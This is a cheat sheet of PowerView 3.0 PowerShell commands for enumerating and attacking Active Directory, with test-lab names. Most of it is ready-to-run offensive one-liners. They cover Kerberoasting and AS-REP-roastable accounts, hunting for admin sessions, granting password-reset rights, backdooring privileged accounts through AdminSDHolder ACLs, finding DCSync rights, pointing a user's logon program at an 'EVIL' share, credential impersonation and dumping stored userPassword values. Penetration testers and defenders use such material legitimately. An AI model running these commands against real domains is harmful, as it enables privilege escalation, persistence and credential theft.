powerview_3.0,_harmj0y

WINDOWS - POWERVIEW 3.0, HARMJ0Y

PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/

tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

New function naming schema:

Verbs:

Get : retrieve full raw data sets

Find : ‘find’ specific data entries in a data set

Add : add a new object to a destination

Set : modify a given object

Invoke : lazy catch-all

Nouns:

Verb-Domain* : indicates that LDAP/.NET querying methods are being executed

Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration

Verb-Net* : indicates that Win32 API access is being used under the hood

get all the groups a user is effectively a member of, 'recursing up' using tokenGroups

Get-DomainGroup -MemberIdentity <User/Group>

get all the effective members of a group, 'recursing down'

Get-DomainGroupMember -Identity "Domain Admins" -Recurse

use an alterate creadential for any function

$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainUser -Credential $Cred

retrieve all the computer dns host names a GPP password applies to

Get-DomainOU -GPLink '' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}

get all users with passwords changed > 1 year ago, returning sam account names and password last set times

$Date = (Get-Date).AddYears(-1).ToFileTime() Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset

all enabled users, returning distinguishednames

Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname

all disabled users

Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)" Get-DomainUser -UACFilter ACCOUNTDISABLE

all users that require smart card authentication

Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)" Get-DomainUser -UACFilter SMARTCARD_REQUIRED

all users that don't require smart card authentication, only returning sam account names

Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname

use multiple identity types for any -Domain function

'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff

find all users with an SPN set (likely service accounts)

Get-DomainUser -SPN

check for users who don't have kerberos preauthentication set

Get-DomainUser -PreauthNotRequired Get-DomainUser -UACFilter DONT_REQ_PREAUTH

find all service accounts in "Domain Admins"

Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}

find users with sidHistory set

Get-DomainUser -LDAPFilter '(sidHistory=*)'

find any users/computers with constrained delegation st

Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth

enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation

$Computers = Get-DomainComputer -Unconstrained $Users = Get-DomainUser -AllowDelegation -AdminCount

return the local groups of a remote server

Get-NetLocalGroup SERVER.domain.local

return the local group members of a remote server using Win32 API methods (faster but less info)

Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local

Kerberoast any users in a particular OU with SPNs set

Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"

Find-DomainUserLocation == old Invoke-UserHunter

enumerate servers that allow unconstrained Kerberos delegation and show all users logged in

Find-DomainUserLocation -ComputerUnconstrained -ShowAll

hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation

Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

find all computers in a given OU

Get-DomainComputer -SearchBase "ldap://OU=..."

Get the logged on users for all machines in any server OU in a particular domain

Get-DomainOU -Identity server -Domain | %{Get-DomainComputer -SearchBase $.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $}}

enumerate all gobal catalogs in the forest

Get-ForestGlobalCatalog

turn a list of computer short names to FQDNs, using a global catalog

gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}

enumerate the current domain controller policy

$DCPolicy = Get-DomainPolicy -Policy DC $DCPolicy.PrivilegeRights # user privilege rights on the dc...

enumerate the current domain policy

$DomainPolicy = Get-DomainPolicy -Policy Domain $DomainPolicy.KerberosPolicy # useful for golden tickets ;) $DomainPolicy.SystemAccess # password age/etc.

enumerate what machines that a particular user/group identity has local admin rights to

Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation

Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>

enumerate what machines that a given user in the specified domain has RDP access rights to

Get-DomainGPOUserLocalGroupMapping -Identity -Domain -LocalGroup RDP

export a csv of all GPO mappings

Get-DomainGPOUserLocalGroupMapping | %{$.computers = $.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv

use alternate credentials for searching for files on the domain

Find-InterestingDomainShareFile == old Invoke-FileFinder

$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password) Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential

enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names

Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local

grant user 'will' the rights to change 'matt's password

Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose

audit the permissions of AdminSDHolder, resolving GUIDs

Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs

backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse

Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All

retrieve most users who can perform DC replication for dev.testlab.local (i.e. DCsync)

Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? { ($.ObjectType -match 'replication-get') -or ($.ActiveDirectoryRights -match 'GenericAll') }

find linked DA accounts using name correlation

Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $.membername -LDAPFilter '(displayname=*)'} | %{$a=$.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=$a)" -Properties displayname,samaccountname}

save a PowerView object to disk for later usage

Get-DomainUser | Export-Clixml user.xml $Users = Import-Clixml user.xml

Find any machine accounts in privileged groups

Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights

Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}

find all policies applied to a current machine

Get-DomainGPO -ComputerIdentity windows1.testlab.local

enumerate all groups in a domain that don't have a global scope, returning just group names

Get-DomainGroup -GroupScope NotGlobal -Properties name

enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships

query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames

$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname $Domains = @{} $ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {

# extract the domain the foreign user was added to
$ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
# check if we've already enumerated this domain
if (-not $Domains[$ForeignUserDomain]) {
    $Domains[$ForeignUserDomain] = $True
    # enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set
    $Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
    Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member
}

} $ForeignMemberships | fl

if running in -sta mode, impersonate another credential a la "runas /netonly"

$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Invoke-UserImpersonation -Credential $Cred

... action

Invoke-RevertToSelf

enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer

Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier

set the specified property for the given user identity

Set-DomainObject testuser -Set @{'mstsinitialprogram'='\EVIL\program.exe'} -Verbose

Set the owner of 'dfm' in the current domain to 'harmj0y'

Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y

retrieve most users who can perform DC replication for dev.testlab.local (i.e. DCsync)

Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? { ($.ActiveDirectoryRights -match 'GenericAll') -or ($.ObjectAceType -match 'Replication-Get') }

check if any user passwords are set

$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($.userPassword))" -PassThru} | fl